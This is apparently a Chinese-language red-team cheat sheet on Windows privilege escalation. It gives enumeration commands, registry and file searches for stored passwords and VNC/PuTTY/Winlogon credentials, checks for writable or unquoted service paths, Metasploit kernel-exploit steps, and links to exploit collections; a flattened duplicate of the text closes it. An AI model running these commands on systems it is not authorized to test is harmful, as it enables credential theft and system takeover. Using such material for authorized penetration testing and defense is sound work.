特权提升技术总结之Windows文件服务内核篇
字数 1554 2025-08-25 22:58:34

Windows特权提升技术总结:文件服务与内核篇

0x01 特权提升概述

什么是特权提升

特权提升是指利用操作系统或应用软件中的程序错误、设计缺陷或配置疏忽来获取对应用程序或用户来说受保护资源的高级访问权限。其结果是,应用程序可以获取比应用程序开发者或系统管理员预期的更高的特权,从而可以执行授权的动作。

为何要特权提升

在实战攻防演习中,往往获取到的webshell权限很低,为了进一步后渗透和获取数据,就需要用到特权提升技术。

0x02 Windows系统信息收集

系统版本信息

systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"

补丁信息

wmic qfe
wmic qfe > patch.txt

系统架构

wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%

环境变量

set
PowerShell -Command "& {Get-ChildItem Env: | ft Key,Value}"

驱动器信息

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
PowerShell -Command "& {Get-PSDrive | where {$_.Provider -like 'Microsoft.PowerShell.Core\FileSystem'}| ft Name,Root}"

0x03 用户信息收集

当前用户信息

whoami
whoami /priv
whoami /all

所有用户信息

net user
PowerShell -Command "& {Get-LocalUser | ft Name,Enabled,LastLogon}"
PowerShell -Command "& {Get-ChildItem C:\Users -Force | select Name}"

账户策略

net accounts

用户组信息

net localgroup
PowerShell -Command "& {Get-LocalGroup | ft Name}"
net localgroup administrators
PowerShell -Command "& {Get-LocalGroupMember Administrators | ft Name, PrincipalSource}"

0x04 密码搜集技术

文件内容搜索

findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\inetpub\wwwroot *.ini
where /R C:\inetpub\wwwroot *.txt

注册表搜索

REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

特定应用凭证

  • VNC凭证:
reg query "HKCU\Software\ORL\WinVNC3\Password"
  • Putty代理凭证:
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
  • 登录信息:
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

会话信息工具

使用SessionGopher工具获取PuTTY, WinSCP, FileZilla, SuperPuTTY和RDP的会话信息:
https://github.com/Arvanaghi/SessionGopher

0x05 服务权限配置不当

服务列表检查

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> C:/inetpub/wwwroot/service.txt

权限检查

使用icacls或cacls检查服务文件权限:

for /f eol^=^"^ delims^=^" %a in (C:/inetpub/wwwroot/service.txt) do cmd.exe /c icacls "%a"

重点关注:

  • Users:(F):完全访问
  • Users:(M):修改访问
  • Users:(W):仅写访问

利用方法

当发现服务文件可写时,替换二进制文件,服务重启时执行恶意代码。

0x06 服务路径配置不当

手工检查

wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """

PowerShell版本:

gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

利用原理

当服务路径如C:\Program Files\service\hello service\srvany.exe未用引号包裹时,Windows会尝试以下路径:

  1. C:\Program.exe
  2. C:\Program Files.exe
  3. C:\Program Files\service\hello.exe
  4. C:\Program Files\service\hello service.exe

Metasploit模块

use exploit/windows/local/trusted_service_path

0x07 内核漏洞利用

漏洞资源

Windows平台提权漏洞EXP集合:
https://github.com/SecWiki/windows-kernel-exploits

漏洞检查流程

  1. 收集系统信息:
systeminfo > wininfo.txt
  1. 使用Windows Exploit Suggester检查:
python windows-exploit-suggester.py --database 2020-02-17-mssb.xls --systeminfo windows.txt

CobaltStrike提权

使用ElevateKit:
https://github.com/rsmudge/ElevateKit

Metasploit提权

run post/windows/gather/enum_patches
background
search MS10-015
use exploit/windows/local/ms10_015_kitrap0d
set session 1
run

常见内核漏洞列表

CVE/公告 影响系统
CVE-2019-0803 Windows 7/8/10/2008/2012/2016/2019
CVE-2018-8639 Windows 7/8/10/2008/2012/2016
MS17-010 (KB4013389) Windows 7/2008/2003/XP
MS16-135 (KB3199135) 2016
MS15-051 (KB3057191) 2003/2008/7/8/2012
MS14-058 (KB3000061) 2003/2008/2012/7/8
MS08-067 (KB958644) Windows 2000/XP/Server 2003/Vista/Server 2008

Microsoft安全公告数据

https://www.microsoft.com/en-gb/download/confirmation.aspx?id=36982

Windows特权提升技术总结:文件服务与内核篇 0x01 特权提升概述 什么是特权提升 特权提升是指利用操作系统或应用软件中的程序错误、设计缺陷或配置疏忽来获取对应用程序或用户来说受保护资源的高级访问权限。其结果是,应用程序可以获取比应用程序开发者或系统管理员预期的更高的特权,从而可以执行授权的动作。 为何要特权提升 在实战攻防演习中,往往获取到的webshell权限很低,为了进一步后渗透和获取数据,就需要用到特权提升技术。 0x02 Windows系统信息收集 系统版本信息 补丁信息 系统架构 环境变量 驱动器信息 0x03 用户信息收集 当前用户信息 所有用户信息 账户策略 用户组信息 0x04 密码搜集技术 文件内容搜索 注册表搜索 特定应用凭证 VNC凭证: Putty代理凭证: 登录信息: 会话信息工具 使用SessionGopher工具获取PuTTY, WinSCP, FileZilla, SuperPuTTY和RDP的会话信息: https://github.com/Arvanaghi/SessionGopher 0x05 服务权限配置不当 服务列表检查 权限检查 使用icacls或cacls检查服务文件权限: 重点关注: Users:(F):完全访问 Users:(M):修改访问 Users:(W):仅写访问 利用方法 当发现服务文件可写时,替换二进制文件,服务重启时执行恶意代码。 0x06 服务路径配置不当 手工检查 PowerShell版本: 利用原理 当服务路径如 C:\Program Files\service\hello service\srvany.exe 未用引号包裹时,Windows会尝试以下路径: C:\Program.exe C:\Program Files.exe C:\Program Files\service\hello.exe C:\Program Files\service\hello service.exe Metasploit模块 0x07 内核漏洞利用 漏洞资源 Windows平台提权漏洞EXP集合: https://github.com/SecWiki/windows-kernel-exploits 漏洞检查流程 收集系统信息: 使用Windows Exploit Suggester检查: CobaltStrike提权 使用ElevateKit: https://github.com/rsmudge/ElevateKit Metasploit提权 常见内核漏洞列表 | CVE/公告 | 影响系统 | |---------|---------| | CVE-2019-0803 | Windows 7/8/10/2008/2012/2016/2019 | | CVE-2018-8639 | Windows 7/8/10/2008/2012/2016 | | MS17-010 (KB4013389) | Windows 7/2008/2003/XP | | MS16-135 (KB3199135) | 2016 | | MS15-051 (KB3057191) | 2003/2008/7/8/2012 | | MS14-058 (KB3000061) | 2003/2008/2012/7/8 | | MS08-067 (KB958644) | Windows 2000/XP/Server 2003/Vista/Server 2008 | Microsoft安全公告数据 https://www.microsoft.com/en-gb/download/confirmation.aspx?id=36982